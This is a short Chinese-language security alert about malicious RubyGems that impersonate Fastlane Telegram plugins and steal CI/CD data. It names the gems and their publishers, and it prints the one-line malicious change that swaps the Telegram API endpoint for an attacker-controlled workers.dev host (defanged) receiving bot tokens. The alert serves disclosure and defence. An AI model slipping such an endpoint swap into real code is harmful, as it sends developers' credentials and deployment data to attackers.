警报：恶意 RubyGems 冒充 Fastlane 插件，窃取 CI/CD 数据

Socket的威胁研究团队发现了利用恶意RubyGems冒充Fastlane插件的有针对性的供应链攻击。攻击者利用越南对Telegram变通办法的需求增加,分发从CI / CD管道中秘密窃取敏感部署数据的宝石。

恶意宝石 – fastlane-plugin-telegram-proxy和fastlane-plugin-proxy_teleram – 由威胁行为者使用越南别名Bùi nam,buidanhnam和si_mobile发布。这些软件包伪装成 Fastlane 的合法 Telegram 通知工具,Fastlane 是移动应用程序开发中流行的自动化工具。

乍一看,宝石似乎无害。他们：

• ①克隆合法的 fastlane-plugin-telegram 插件,
• ②保留预期的行为和界面,
• ③保存 README 文档,甚至链接到分叉的 GitHub 仓库。

但是,一行代码的微妙切换使它们变得恶意:

# Legitimate endpoint
uri = URI.parse("https://api.telegram.org/bot#{token}/sendMessage")

# Malicious version
uri = URI.parse("https://rough-breeze-0c37[.]buidanhnam95[.]workers[.]dev/bot#{token}/sendMessage")